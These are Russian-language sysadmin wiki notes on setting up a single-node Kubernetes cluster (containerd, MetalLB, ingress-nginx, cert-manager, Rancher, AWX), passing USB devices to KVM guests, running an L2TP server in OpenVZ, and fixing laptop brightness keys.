anonymous@undisclosed.example.com (Anonymous) — Wed, 25 Mar 2020 18:39:24 +0000

В логах kubelet полно вот такого:

Mar 25 18:31:18 kub kubelet[899]: W0325 18:31:18.244545     899 volume_linux.go:45] Setting volume ownership for /var/lib/kubelet/pods/91e33d5d-648a-4aba-bbff-e3da6ea7596f/volumes/kubernetes.
Mar 25 18:31:30 kub kubelet[899]: W0325 18:31:30.220311     899 volume_linux.go:45] Setting volume ownership for /var/lib/kubelet/pods/765ffa3f-0a8a-4b65-8c37-8555c1854829/volumes/kubernetes.
Mar 25 18:31:32 kub kubelet[899]: W0325 18:31:32.232058     899 volume_linux.go:45] Setting volume ownership for /var/lib/kubelet/pods/de64ae28-9f70-44b0-ae2c-7d2b0f080169/volumes/kubernetes.
Mar 25 18:31:32 kub kubelet[899]: W0325 18:31:32.232171     899 volume_linux.go:45] Setting volume ownership for /var/lib/kubelet/pods/de64ae28-9f70-44b0-ae2c-7d2b0f080169/volumes/kubernetes.
Mar 25 18:31:33 kub kubelet[899]: W0325 18:31:33.237612     899 volume_linux.go:45] Setting volume ownership for /var/lib/kubelet/pods/3eb10467-d9fb-473c-8892-e57dfb7191ad/volumes/kubernetes.
Mar 25 18:31:33 kub kubelet[899]: W0325 18:31:33.237666     899 volume_linux.go:45] Setting volume ownership for /var/lib/kubelet/pods/3eb10467-d9fb-473c-8892-e57dfb7191ad/volumes/kubernetes.
Mar 25 18:31:42 kub kubelet[899]: W0325 18:31:42.285697     899 volume_linux.go:45] Setting volume ownership for /var/lib/kubelet/pods/89392ae2-6b17-47b4-85ac-813c2781234b/volumes/kubernetes.
Mar 25 18:31:42 kub kubelet[899]: W0325 18:31:42.285795     899 volume_linux.go:45] Setting volume ownership for /var/lib/kubelet/pods/89392ae2-6b17-47b4-85ac-813c2781234b/volumes/kubernetes.
Mar 25 18:31:42 kub kubelet[899]: W0325 18:31:42.285821     899 volume_linux.go:45] Setting volume ownership for /var/lib/kubelet/pods/89392ae2-6b17-47b4-85ac-813c2781234b/volumes/kubernetes.
Mar 25 18:31:42 kub kubelet[899]: W0325 18:31:42.287672     899 volume_linux.go:45] Setting volume ownership for /var/lib/kubelet/pods/89392ae2-6b17-47b4-85ac-813c2781234b/volumes/kubernetes.

Подозреваю, что причина в каких-то правах.
Попробую сделать так: https://stackoverflow.com/questions/43544370/kubernetes-how-to-set-volumemount-user-group-and-file-permissions#7

This came as one of the challenges for the Kubernetes Deployments/StatefulSets, when you have to run process inside a container as non-root user. But, when you mount a volume to a pod, it always gets mounted with the permission of root:root.

So, the non-root user must have access to the folder where it wants to read and write data.

Please follow the below steps for the same.

    Create user group and assign group ID in Dockerfile.
    Create user with user ID and add to the group in Dockerfile.
    change ownership recursively for the folders the user process wants to read/write.

    Add the below lines in Deployment/StatefulSet in pod spec context.

    spec:
      securityContext:
        runAsUser: 1099
        runAsGroup: 1099
        fsGroup: 1099

runAsUser

Specifies that for any Containers in the Pod, all processes run with user ID 1099.

runAsGroup

Specifies the primary group ID of 1099 for all processes within any containers of the Pod.

If this field is omitted, the primary group ID of the containers will be root(0).

Any files created will also be owned by user 1099 and group 1099 when runAsGroup is specified.

fsGroup

Specifies the owner of any volume attached will be owner by group ID 1099.

Any files created under it will be having permission of nonrootgroup:nonrootgroup.

kubernetes_using_single_node_as_master_and_worker

anonymous@undisclosed.example.com (Anonymous) — Mon, 22 Apr 2024 12:38:23 +0000

Single node Kubernetes setup - Ubuntu 18.04

sudo apt-get -y purge cloud-init && sudo rm -rf /etc/cloud
sudo apt-get install -y apt-transport-https \
ca-certificates curl \
gnupg-agent \
software-properties-common
sudo apt-add-repository universe

echo 'deb http://apt.kubernetes.io/ kubernetes-xenial main' | sudo tee /etc/apt/sources.list.d/kubernetes.list
######### curl -s https://packages.cloud.google.com/apt/doc/apt-key.gpg | sudo apt-key add
gpg_key_url="https://packages.cloud.google.com/apt/doc/apt-key.gpg"
gpg_keyring_path="/etc/apt/trusted.gpg.d/kubernetes.gpg"
curl -fsSL "${gpg_key_url}" | gpg --dearmor | sudo tee -a ${gpg_keyring_path}

cat <<EOF | sudo tee /etc/modules-load.d/containerd.conf
overlay
br_netfilter
EOF

sudo modprobe overlay
sudo modprobe br_netfilter

# Setup required sysctl params, these persist across reboots.
cat <<EOF | sudo tee /etc/sysctl.d/99-kubernetes-cri.conf
net.bridge.bridge-nf-call-iptables  = 1
net.ipv4.ip_forward                 = 1
net.bridge.bridge-nf-call-ip6tables = 1
EOF

# Apply sysctl params without reboot
sudo sysctl --system

sudo apt-get update
#sudo apt-get install -y docker.io kubeadm kubelet
sudo apt-get install -y containerd kubeadm kubelet

sudo mkdir -p /etc/containerd
containerd config default | sudo tee /etc/containerd/config.toml
 
cat << EOF | sudo tee /etc/systemd/system/kubelet.service.d/12-after-docker.conf
[Unit]
After=containerd.service
EOF

sudo sed -i 's/SystemdCgroup = false/SystemdCgroup = true/' /etc/containerd/config.toml
sudo service containerd restart


# Kubernetes Cluster Init 
sudo kubeadm init --cri-socket /run/containerd/containerd.sock --pod-network-cidr=10.244.0.0/16

mkdir -p $HOME/.kube
sudo cp -i /etc/kubernetes/admin.conf $HOME/.kube/config
sudo chown $(id -u):$(id -g) $HOME/.kube/config

#https://github.com/cloudnativelabs/kube-router/blob/master/docs/kubeadm.md
#kubectl apply -f https://raw.githubusercontent.com/cloudnativelabs/kube-router/master/daemonset/kubeadm-kuberouter.yaml
kubectl apply -f https://raw.githubusercontent.com/coreos/flannel/master/Documentation/kube-flannel.yml

#kubectl -n kube-system patch deployment coredns --type=json -p='[{"op": "replace", "path": "/spec/replicas", "value":1}]'

kubectl taint nodes --all node-role.kubernetes.io/master-

Настройка манифестов компонентво кубера на слабых маишинках

Я запускаю свой кластер в контейнере на сервере Proxmox, на довольно слабой машинке, поэтому при старте компоненты кубера начинают отвечать очень нескоро.
Чтобы немного облегчить им жизнь и сделать поведение компонентов k8s более предсказуемым нужно увеличить таймауты livenessProbe, readinessProbe и startupProbe - в результате у сервисов будет больше времени чтобы прийти в норму при запуске/перезапуске и кластер будет вести себя стабильнее, особенно если в нем много полезной нагрузки.
Для этого - редактируем манифесты в директории /etc/kubernetes/manifests/ и подкручиваем там значения до, например, таких:

    livenessProbe:
      failureThreshold: 300
      initialDelaySeconds: 60
      periodSeconds: 15
      timeoutSeconds: 30
    readinessProbe:
      failureThreshold: 300
      periodSeconds: 15
      timeoutSeconds: 30
    startupProbe:
      failureThreshold: 300
      initialDelaySeconds: 60
      periodSeconds: 15
      timeoutSeconds: 30

И перезапускаем kubelet:

sudo service kubelet restart

Изменение редактора kubectl edit

sudo awk -v line='export KUBE_EDITOR="/bin/nano"' 'FNR==NR && line==$0{f=1; exit} END{if (!f) print line >> FILENAME}' /etc/bash.bashrc

Автодополнение kubectl

sudo awk -v line='source <(kubectl completion bash)' 'FNR==NR && line==$0{f=1; exit} END{if (!f) print line >> FILENAME}' /etc/bash.bashrc

/var/lib/kubelet/config.yaml

Failed to initialize CSINodeInfo

Если нода не переходит в состояние Ready, а при выполнении

kubectl describe nodes

Видна ошибка:

Failed to initialize CSINodeInfo: error updating CSINode annotation: timed out waiting for the condition; caused by: the server could not find the requested resource

то в файлике /var/lib/kubelet/config.yaml нужно добавить:

featureGates:
  CSIMigration: false

cgroupDriver

https://kubernetes.io/docs/setup/production-environment/container-runtimes/
Также в файлике /var/lib/kubelet/config.yaml нужно включить такой же cgroupDriver, что и для docker (в файлике /etc/docker/daemon.json). По дефолту стоит cgroupfs.
И вообще - если в системе есть systemd, то нужно использовать cgroupDriver. Если будет включен cgroupfs, то ресурсами будут управлять два менеджера одновременно, что негативно сказыватся на стабильности.
То есть просто в конце файлика с нулевым отступом можно дописать:

cgroupDriver: systemd

Kubelet Log level

/etc/systemd/system/multi-user.target.wants/kubelet.service

ExecStart=/usr/bin/kubelet --v=2

sudo systemctl daemon-reload
sudo systemctl restart kubelet

CoreDNS

https://kubernetes.io/docs/tasks/administer-cluster/dns-custom-nameservers/#coredns

Изменяем дефолтный DNS-сервер для forwarding'a запросов

Конфигурация CoreDNS хранится в ConfigMap coredns

kubectl edit cm coredns -n kube-system

Редактируем параметр forward. Вместо /etc/resolv.conf пописываем адрес нужного DNS-сервера

forward . 192.168.1.100

Kubernetes monitoring

Чтобы работали команды

kubectl top nodes

kubectl top pods

Нужно установить сервер метрик.

Установка сервера метрик kubernetes

https://github.com/kubernetes-sigs/metrics-server

kubectl apply -f https://github.com/kubernetes-sigs/metrics-server/releases/latest/download/components.yaml

В результате в неймспейсе kube-system появится deployment metrics-server и развернется pod metrics-server-….
В нашем кластере отключен ssl, но он включен по-дефолту в metrics-server. Поэтому выполняем:

kubectl edit deploy -n kube-system metrics-server

и в spec.template.spec.containers.args добавляем:

  - --kubelet-insecure-tls

Без этого параметра metrics-server не запустится, а в логах будет примерно такое:

[unable to fully scrape metrics from node kub-worker01: unable to fetch metrics from node kub-sbl-apps-dev-worker01: Get "https://192.168.44.11:10250/stats/summary?only_cpu_and_memory=true": x509: cannot validate certificate for 192.168.44.11 because it doesn't contain any IP SANs

Все. Через некоторое время команды kubectl top начнут выдавать осмысленную информацию.
Если этого не происходит, а в логах

kubectl logs -n kube-system metrics-server...

Видно такое:

reststorage.go:160] unable to fetch pod metrics for ...

То можно попробывать добавить в в spec.template.spec.containers.args такое:

- --kubelet-preferred-address-types=InternalIP,Hostname,InternalDNS,ExternalDNS,ExternalIP

Helm

С третьей версией Helm ничего в кластер ставить не нужно. Для использования достаточно бинарника и сконфигурированного context для доступа к кластеру.

Обновление kubernetes

смотрим какие версии kubeadm нам доступны

sudo apt-get update
apt-cache madison kubeadm

Разрешаем обновление kubernetes-cni и kubeadm:

sudo apt-mark unhold kubernetes-cni kubeadm

Ставим нужную версию kubeadm:

sudo apt-get install kubeadm=1.20.9-00

Проверяем возможность апгрейда:

sudo kubeadm upgrade plan

Если у нас хост с containerd (без docker), то нужно проверить, что параметр kubeadm.alpha.kubernetes.io/cri-socket указывает не на docker-shim, а на сокет containerd. У меня так:

kubeadm.alpha.kubernetes.io/cri-socket: /run/containerd/containerd.sock

если этого не сделать - будет ошибка, поскольку kubeadm возьмет эту запись и будет пытаться работать через docker, которого нет:

error execution phase preflight: docker is required for container runtime: exec: "docker": executable file not found in $PATH

Обновляем:

sudo kubeadm upgrade apply v1.20.9

Разрешаем обновление kubelet и kubectl

sudo apt-mark unhold kubelet kubectl

И обновляем их до нужной версии:

sudo apt-get install -y kubelet=1.20.9-00 kubectl=1.20.9-00

Морозим обратно версии пакетов:

sudo apt-mark hold kube*

Апгрейдим всю систему:

sudo apt-get update && sudo apt-get upgrade

Доступ к подам снаружи

Для доступа к сервисам, которые предоставляют поды, нужно установить и настроить:

LoadBalancer MetalLB для получения сервисами IP-адресов локальной (или нелокальной) сети.
Ingress Controller для маршрутизации HTTP/HTTPS запросов.
Cert Manager для управления сертификатами (в том числе и Let's Encrypt).

LoadBalancer - MetalLB

https://habr.com/ru/company/southbridge/blog/443110/
https://metallb.universe.tf/installation/

helm repo add metallb https://metallb.github.io/metallb
helm repo update
kubectl create ns metallb-system 
helm upgrade --install -n metallb-system metallb metallb/metallb \
  --set configInline.address-pools[0].name="default" \
  --set configInline.address-pools[0].protocol="layer2" \
  --set configInline.address-pools[0].addresses[0]="192.168.77.160-192.168.77.189"

Апгрейдим metallb

helm repo update
helm upgrade -n metallb-system metallb metallb/metallb --reuse-values

Ingress-controller

https://docs.cert-manager.io/en/latest/tutorials/acme/quick-start/#
Либо тоже самое можно сделать с помощью helm-чарта:

kubectl create ns ingress
helm repo add ingress-nginx https://kubernetes.github.io/ingress-nginx
helm repo update

#helm install stable/nginx-ingress --name http-https --namespace ingress
helm upgrade --install nginx -n ingress ingress-nginx/ingress-nginx \
--set controller.service.type=LoadBalancer,controller.service.externalTrafficPolicy=Cluster,controller.service.loadBalancerIP=192.168.77.160 \
--set controller.addHeaders."X-XSS-Protection"="1\;mode=block" \
--set controller.addHeaders."Content-Security-Policy"="default-src 'self'; \
script-src 'self' 'unsafe-inline' 'unsafe-eval' https://www.google-analytics.com https://www.googletagmanager.com 'nonce-HM305BL1jG4mB1xm' https://mc.yandex.ru; \
img-src 'self' https://www.google-analytics.com https://*.yandex.ru; \
style-src 'self' 'unsafe-inline' https://fonts.googleapis.com; \
font-src 'self' https://themes.googleusercontent.com;" \
--set controller.addHeaders."Strict-Transport-Security"="max-age=31536000;includeSubdomains;preload" \
--set controller.addHeaders."X-Frame-Options"="SAMEORIGIN" \
--set controller.addHeaders."X-Content-Type-Options"="nosniff"

Ну или без драконовских запретов (заголовки Content-Security-Policy влияют на все ресурсы за этим ingress-controller и что-то может просто не заработать):

helm upgrade --install nginx -n ingress ingress-nginx/ingress-nginx \
--set controller.service.type=LoadBalancer \
--set controller.service.externalTrafficPolicy=Cluster \
--set controller.service.loadBalancerIP=192.168.77.160 \
--set controller.addHeaders."X-XSS-Protection"="1\;mode=block" \
--set controller.addHeaders."Strict-Transport-Security"="max-age=31536000;includeSubdomains;preload" \
--set controller.addHeaders."X-Frame-Options"="SAMEORIGIN" \
--set controller.addHeaders."X-Content-Type-Options"="nosniff"

В результате - в неймспейсе ingress появится сервис nginx-ingress-nginx-controller, у которого будет тип LoadBalancer и который получит указанный IP-адрес в локальной сети из диапазона, сконфигурированного для metallb.
Теперь можно создавать ingress'ы, которые будут смотреть на сервисы внутри кластера и предоставлять к ним доступ. Пользователи будут посылать запросы на ingress-controller, а он, в свою очередь, - пересылать их на ingress'ы.

Мониторинг nginx ingess

В кластере нужно развернуть CRD и оператор prometheus: https://wiki.autosys.tk/devops/prometheus_federation#%D1%83%D1%81%D1%82%D0%B0%D0%BD%D0%BE%D0%B2%D0%BA%D0%B0_%D0%BE%D0%BF%D0%B5%D1%80%D0%B0%D1%82%D0%BE%D1%80%D0%B0_prometheus

nginx-ingress-monitoring-values.yaml

controller:
  metrics:
    port: 10254
    enabled: true
    service:
      annotations:
        prometheus.io/scrape: "true"
        prometheus.io/port: "10254"
      servicePort: 10254
      type: ClusterIP

    serviceMonitor:
      enabled: true
      additionalLabels:
        jobLabel: nginx-ingress
      namespace: "ingress"
      namespaceSelector:
        matchNames:
          - ingress
      scrapeInterval: 30s

    prometheusRule:
      enabled: true
      namespace: ingress
      rules:
        - alert: NGINXConfigFailed
          expr: count(nginx_ingress_controller_config_last_reload_successful == 0) > 0
          for: 1s
          labels:
            severity: critical
          annotations:
            description: bad ingress config - nginx config test failed
            summary: uninstall the latest ingress changes to allow config reloads to resume
        - alert: NGINXCertificateExpiry
          expr: (avg(nginx_ingress_controller_ssl_expire_time_seconds) by (host) - time()) < 604800
          for: 1s
          labels:
            severity: critical
          annotations:
            description: ssl certificate(s) will expire in less then a week
            summary: renew expiring certificates to avoid downtime
        - alert: NGINXTooMany500s
          expr: 100 * ( sum( nginx_ingress_controller_requests{status=~"5.+"} ) / sum(nginx_ingress_controller_requests) ) > 5
          for: 1m
          labels:
            severity: warning
          annotations:
            description: Too many 5XXs
            summary: More than 5% of all requests returned 5XX, this requires your attention
        - alert: NGINXTooMany400s
          expr: 100 * ( sum( nginx_ingress_controller_requests{status=~"4.+"} ) / sum(nginx_ingress_controller_requests) ) > 5
          for: 1m
          labels:
            severity: warning
          annotations:
            description: Too many 4XXs
            summary: More than 5% of all requests returned 4XX, this requires your attention

helm upgrade --reuse-values -n ingress nginx ingress-nginx/ingress-nginx -f ./nginx-ingress-monitoring-values.yaml

Cert manager

https://cert-manager.io/docs/installation/helm/
Устанавливаем:

kubectl create namespace cert-manager
helm repo add jetstack https://charts.jetstack.io
helm repo update

helm upgrade --install \
  cert-manager jetstack/cert-manager \
  --namespace cert-manager \
  --create-namespace \
  --set installCRDs=true \
  --version v1.14.4 \
  --set prometheus.enabled=false

https://docs.cert-manager.io/en/latest/tasks/issuers/index.html
Создаем издателя Let's Encrypt (ACME Issuer):

kubectl apply -f - << EOF
apiVersion: cert-manager.io/v1
kind: ClusterIssuer
metadata:
  name: letsencrypt
spec:
  acme:
    # You must replace this email address with your own.
    # Let's Encrypt will use this to contact you about expiring
    # certificates, and issues related to your account.
    email: mike@autosys.tk
    server: https://acme-v02.api.letsencrypt.org/directory
    privateKeySecretRef:
      # Secret resource used to store the account's private key.
      name: cert-issuer-account-key
    # Add a single challenge solver, HTTP01 using nginx
    solvers:
    - http01:
        ingress:
          class: nginx
EOF

Смотрим на его состояние:

kubectl describe clusterissuer letsencrypt

Должно быть так:

Status:
  ...
  Conditions:
    ...
    Status:                True
    Type:                  Ready

Апгрейдим cert-manager

helm repo update
helm upgrade --namespace cert-manager cert-manager jetstack/cert-manager --reuse-values

Ingress, Cert-Manager и сертификаты Let's Encrypt

~~https://docs.cert-manager.io/en/latest/getting-started/install/kubernetes.html~~
~~https://docs.bitnami.com/kubernetes/how-to/secure-kubernetes-services-with-ingress-tls-letsencrypt/#step-3-configure-tls-with-let-s-encrypt-certificates-and-cert-manager~~
https://docs.cert-manager.io/en/latest/tutorials/acme/quick-start/#
https://cert-manager.io/docs/installation/helm/
Итак, у нас установлен MetalLB, Ingress Controller и CertManager.
В результате, сервис Ingress Controller должен получить адрес в локальной (или нелокальной сети) из диапазона, прописанного в конфигурации MetalLB:

# kubectl get svc -n ingress
NAME                                       TYPE           CLUSTER-IP       EXTERNAL-IP      PORT(S)                      AGE
http-https-nginx-ingress-controller        LoadBalancer   10.100.109.113   192.168.77.160   80:31833/TCP,443:32690/TCP   5h1m
http-https-nginx-ingress-default-backend   ClusterIP      10.107.152.17    <none>           80/TCP                       5h1m

Для примера буду делат доступ к AWX, который установлен в моем кластере Kubernetes.
В неймспейсе, куда развернут AWX (в моем случае это awx) делаем ingress, который будет направлять запросы в соотвествующий сервис, где работает web-морда AWX:

apiVersion: extensions/v1beta1
kind: Ingress
metadata:
  annotations:
    kubernetes.io/ingress.class: nginx
  name: awx-web
  namespace: awx
spec:
  rules:
  - host: awx.autosys.tk
    http:
      paths:
      - backend:
          serviceName: awx-web-svc
          servicePort: 80
        path: /
  tls:
  - hosts:
    - awx.autosys.tk
    secretName: awx-autosys-tk-tls

В результате, HTTP-запросы на IP-адрес Ingress-контроллера будут перенаправлены на сервис web-морды AWX.

Теперь нужно сконфигурировать ACME Issuer - это сущность, которая будет запрашивать сертификаты по протоколу ACME у серверов Let's Encrypt:
https://cert-manager.io/docs/configuration/acme/

kubectl apply -f - << EOF
apiVersion: cert-manager.io/v1
kind: ClusterIssuer
metadata:
  name: letsencrypt
spec:
  acme:
    # You must replace this email address with your own.
    # Let's Encrypt will use this to contact you about expiring
    # certificates, and issues related to your account.
    email: mike@autosys.tk
    server: https://acme-staging-v02.api.letsencrypt.org/directory
    privateKeySecretRef:
      # Secret resource that will be used to store the account's private key.
      name: letsencrypt-issuer-account-key
    # Add a single challenge solver, HTTP01 using nginx
    solvers:
    - http01:
        ingress:
          class: nginx
EOF

После того, как создан Issuer (в данном случае - ClusterIssuer с именем letsencrypt) можно добавить в манифест ингресса информацию о нем. Редактируем ресурс Ingress и приводим секцию annotations к виду:

kind: Ingress
metadata:
  annotations:
    cert-manager.io/cluster-issuer: letsencrypt
    kubernetes.io/ingress.class: nginx
  name: awx-web
  namespace: awx

Все. Теперь можно увидеть, что появился сертификат:

kubectl get certificate -A

Если сертификат долго не готов, то нужно смотреть логи пода cert-manager:

kubectl get po -n cert-manager
kubectl logs cert-manager-55c44f98f-g9vrb -n cert-manager -f

У меня, например, возникали проблемы с резолвингом доменнного имени, для которого получаем сертификат в поде cert-manager, хотя из интернета имя резолвилось корректно и маршрутизация трафика работала нормально, но cert-manager, перед тем как запросить проверку у ACME-сервера, пытается сам убедиться, что проверка проходит, но так как имя в локалке не резолвилось корректно, то проверка не прошла.

Rancher

Rancher - это web-консоль для управления кластеами kubernetes. Устанавливать осторожно, поскольку она ставит с кластер много всякого и полностью удалить ее может быть проблематично.
https://rancher.com/docs/rancher/v2.x/en/installation/ha/helm-rancher/
Если у нас уже установлены MetalLB, Ingress Controller и Cert-Manager, то можно ставить так:

helm install rancher-latest/rancher --name rancher --namespace cattle-system --set hostname=rancher.autosys.tk --set ingress.tls.source=letsEncrypt --set letsEncrypt.email=mike@autosys.tk

В моем случае, helm ругнулся:

Error: validation failed: unable to recognize "": no matches for kind "Issuer" in version "certmanager.k8s.io/v1alpha1"

После этого я скачал чарт:

helm fetch rancher-latest/rancher

Распаковал его:

tar -xvf ./rancher-2.3.0.tgz

И просто удалил файл, который создает Issuer, так как у меня в кластере уже есть ClusterIssuer.

rm ./rancher/templates/issuer-letsEncrypt.yaml

Затем запаковал чарт обратно и установил его:

mv ./rancher-2.3.0.tgz ./rancher-2.3.0.tgz.orig
helm package rancher
helm install ./rancher-2.3.0.tgz --name rancher --namespace cattle-system --set hostname=rancher.autosys.tk --set ingress.tls.source=letsEncrypt --set letsEncrypt.email=mike@autosys.tk

В итоге rancher установился нормально!
Затем я отредактировал ingress, заменив issuer:

certmanager.k8s.io/issuer: rancher

на уже существующий в кластере:

  cert-manager.io/cluster-issuer: letsencrypt
  kubernetes.io/ingress.class: nginx

Залогиниться в первый раз можно с помощью логина/пароля admin/admin.

awx on single nodes kubernetes

Для базы данных я использую внешний сервер postgres, то есть StorageClass и PersistentVolume для базы мне не нужны.
После запуска playbook'a будет создан StatefullSet. Однако, если нода достаточно слабая, то под не запустится, потому что не хватит ресурсов. Нужно удалить все объекты resources с резервированием и лимитами ресурсов:

kubectl edit sts awx -n awx

Также, нода будет иметь taint:

taints:
- effect: NoSchedule
  key: node.kubernetes.io/disk-pressure
  timeAdded: "2019-10-01T12:28:30Z"

Чтобы под запустился нужно добавить в конфигурацию StatefullSet:

kubectl edit sts awx -n awx

соответствующий toleration (в spec:template:spec:. Например - перед volumes):

      tolerations:
      - effect: NoSchedule
        operator: Exists

kvm_usb_hotplug

anonymous@undisclosed.example.com (Anonymous) — Sat, 12 Mar 2022 06:41:08 +0000

Подключение и отключение USB устройств к виртуальной машине KVM

Подключаем устрйоство к хосту с KVM и смотрим как оно определилось:

$ lsusb
Bus 004 Device 024: ID 11a0:eb20 Chipcon AS

Тут нас интересуют номер шины и номер устройства: Bus 004 Device 024: На основании этих сведений создаем файлик *.xml:

<hostdev mode='subsystem' type='usb' managed='yes'>
  <source>
    <address bus='4' device='24'/>
  </source>
</hostdev>

Также вместо положения на шине можно указывать VendorID и DeviceID:

<hostdev mode='subsystem' type='usb'>
  <source>
    <vendor id='0x03f0'/>
    <product id='0x4217'/>
  </source>
</hostdev>

Нули из номера шины и номера девайса нужно убрать.

Теперь запускаем машину и узнаем ее мя:

$ virsh list
 Id    Name                           State
----------------------------------------------------
 2     Windows_7_x64_Ent_RUS          running

Теперь подключаем устройство:

virsh attach-device <VM name> <file>

То есть в моем случае:

$ virsh attach-device Windows_7_x64_Ent_RUS ./progr.xml 
Device attached successfully

Ну и самое интересное - оформление правил udev для автоматического подключения устройств.

/etc/udev/rules.d/90-libvirt-usb.rules

ACTION=="add", \
    SUBSYSTEM=="usb", \
    ENV{ID_VENDOR_ID}=="03f0", \
    ENV{ID_MODEL_ID}=="4217", \
    RUN+="/usr/bin/virsh attach-device GUESTNAME /path/to/hostdev-03f0:4217.xml"
ACTION=="remove", \
    SUBSYSTEM=="usb", \
    ENV{ID_VENDOR_ID}=="03f0", \
    ENV{ID_MODEL_ID}=="4217", \
    RUN+="/usr/bin/virsh detach-device GUESTNAME /path/to/hostdev-03f0:4217.xml"

И перечитать правила:

sudo udevadm control --reload-rules && sudo udevadm trigger

Ошибки

Если при попытке проброса устройства команда выполняется без ошибок с рузультатом:

Device attached successfully

в гостевой машине ничего не появляется, при этом в журнале хоста KVM есть ошибки типа:

apparmor="DENIED" operation="open"

Значит на хосте KVM в файлике /etc/apparmor.d/abstractions/libvirt-qemu нужно сделать некторые изменения:
Строку /dev/bus/usb/ r, привести к виду: /dev/bus/usb/ rw,
И еще добавить пару строк:

/dev/bus/usb/*/[0-9]* rw,
/run/udev/** rw,

То есть выполнить:

cp /etc/apparmor.d/abstractions/libvirt-qemu ~/libvirt-qemu.backup
sudo sed -i 's/\/dev\/bus\/usb\/\ r,/\/dev\/bus\/usb\/\ rw,/' /etc/apparmor.d/abstractions/libvirt-qemu
sudo sed -i '\/dev\/bus\/usb\/\ rw,/ a\/dev\/bus\/usb\/\*\/\[0-9\]\* rw,' /etc/apparmor.d/abstractions/libvirt-qemu
sudo sed -i '\/dev\/bus\/usb\/\ rw,/ a\/run\/udev\/\*\* rw,' /etc/apparmor.d/abstractions/libvirt-qemu

И перезапустить сервисы (или перезагрузить хост):

sudo service apparmor restart
sudo service libvirtd restart

Подключение всего USB-хоста к виртуалке

Определяем на каком хосте работает USB-устройство:

lsusb
...
Bus 001 Device 002: ID 0e8d:20ff MediaTek Inc. Android

Определяем номер устройства на шине PCI:

$ readlink /sys/bus/usb/devices/usb*
../../../devices/pci0000:00/0000:00:08.1/0000:03:00.3/usb1
../../../devices/pci0000:00/0000:00:08.1/0000:03:00.3/usb2
../../../devices/pci0000:00/0000:00:08.1/0000:03:00.4/usb3
../../../devices/pci0000:00/0000:00:08.1/0000:03:00.4/usb4

Кажется в моем случае это Bus 001 → /devices/pci0000:00/0000:00:08.1/0000:03:00.3/usb1

Смотрим какой модуль ядра рулит этим девайсом:

$ls /sys/bus/pci/drivers/*_hcd/
...

/sys/bus/pci/drivers/xhci_hcd/:
0000:03:00.3  0000:03:00.4  bind  module  new_id  remove_id  uevent  unbind

Отключаем и подключаем к vfio-pci https://01.org/linuxgraphics/gfx-docs/drm/driver-api/vfio.html

sudo su
modprobe vfio-pci
lspci -n -s 0000:03:00.3
...
03:00.3 0c03: 1022:1639
...
echo 0000:03:00.3 > /sys/bus/pci/devices/0000:03:00.3/driver/unbind

lspci -n -s 0000:03:00.3
...
03:00.3 0c03: 1022:1639
...

echo 1022 1639 > /sys/bus/pci/drivers/vfio-pci/new_id
echo -n "0000:03:00.3" > /sys/bus/pci/drivers/vfio-pci/bind

ls -l /sys/bus/pci/devices/0000:03:00.3/iommu_group/devices

l2tp_server_in_openvz_container

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

Прежде всего загрузим необходимые модули:

modprobe af_key && modprobe esp4 && modprobe esp6 && modprobe xfrm4_mode_tunnel && modprobe xfrm6_mode_tunnel && modprobe ppp_async && modprobe pppol2tp && modprobe xfrm_ipcomp

активируем возможность net_admin для контейнера и дадим контейнеру ppp устройство для работы, как указано в подсказке от разработчиков. На хосте OpenVZ выполняем:

vzctl set CTID --capability net_admin:on --save
vzctl set CTID --devices c:108:0:rw --save
vzctl restart CTID

Тут CTID - это ID контейнера.

Внутри контейнера создаем ppp устройство и выставляет корректные права доступа к нему:

mknod /dev/ppp c 108 0
chmod 600 /dev/ppp

Внутри контейнера в качестве ipsec демона будем использовать openswan, а в качестве l2tp сервера стандартный xl2tpd из репозиториев:

apt-get install openswan xl2tpd

При установке openswan на вопрос Use an X.509 certificate for this host? отвечаем n

Проблема

вот еще одно решение: http://linuxworldweb.blogspot.ru/2012/04/enable-iptable-nat-support-on-openvz.html

iptables v1.4.14: can't initialize iptables table `nat': Table does not exist (do you need to insmod?)

1. IPTABLES parameter in /etc/vz/vz.conf added iptable_nat

2. /etc/sysconfig/iptables-config

IPTABLES_MODULES="iptable_filter iptable_mangle iptable_nat"

3. Check the following to see if it's an Openvz issue:

cat /sys/module/nf_conntrack/parameters/ip_conntrack_disable_ve0
1

If your result is a 1 then you need to do the following to solve it:

vi /etc/modprobe.d/openvz.conf

change :

options nf_conntrack ip_conntrack_disable_ve0=1

to:

options nf_conntrack ip_conntrack_disable_ve0=0

первые два изменения результата не принесли. После последних правок nat появилась на хосте, но не контейнерах.

а вот после

vzctl set CTID --netfilter full --save

таблица NAT появилась и в контейнерах.

Если появляется сообщение - NETKEY: Testing XFRM related proc values [FAILED] Значит в контейнере надо выполнить:

for f in /proc/sys/net/ipv4/conf/*/send_redirects; do echo 0 > $f; done 
for f in /proc/sys/net/ipv4/conf/*/accept_redirects; do echo 0 > $f; done

laptop_brightness_troubleshooting

anonymous@undisclosed.example.com (Anonymous) — Tue, 23 Sep 2025 08:16:11 +0000

XFCE - не работают кнопки яркости на ноуте Asus на AMD Ryzen

В моем случае - проблема оказалась в параметрах ядра и в том, что модуль amdpgu был помещен в blacklist.
Во-первых надо проверить с помощью

lsmod | grep amdgpu

что модуль загружен, а если нет, то проверить, что его нет в списках blacklist:

grep -ir amdgpu /etc/modprobe.d/ | grep blacklist

C параметрами ядра - у меня мешался параметр splash. Немного подробнее. Изначально были два стандартных параметра:

quiet splash

однако, после переноса системы на новый ноут, с этими параметрами перестало корректно отображаться поле ввода пароля зашифрованного диска.
Для решения этой проблемы был добавлен параметр nomodeset и поле для пароля стало нормально появляться, однако, перестала регулироваться яркость.
В итоге - все корректно работает (и пароль и яркость), если оставить только

quiet

без

splash nomodeset

Галка Handle Display Brightness Keys в настройках Power Manager установлена.

Проблемы с регулировкой яркости на ноутах

Поведением кнопочек на клаве, которые регулируют яркость, можно управлять с помощью некоторых параметров ядра:

acpi_backlight=vendor

acpi_backlight=native

acpi_backlight=video                       - появился /sys/class/backlight/, но при изменении яркости ведет себя как при подключении дисплея
amdgpu.backlight=0 acpi_backlight=video    - появился /sys/class/backlight/, но при изменении яркости ведет себя как при подключении дисплея
amdgpu.backlight=1 acpi_backlight=video	   - появился /sys/class/backlight/, но при изменении яркости ведет себя как при подключении дисплея		

amdgpu.backlight=1 acpi_backlight=vendor   - не работает. /sys/class/backlight/ - пустой
amdgpu.backlight=0 acpi_backlight=vendor   - не работает. /sys/class/backlight/ - пустой

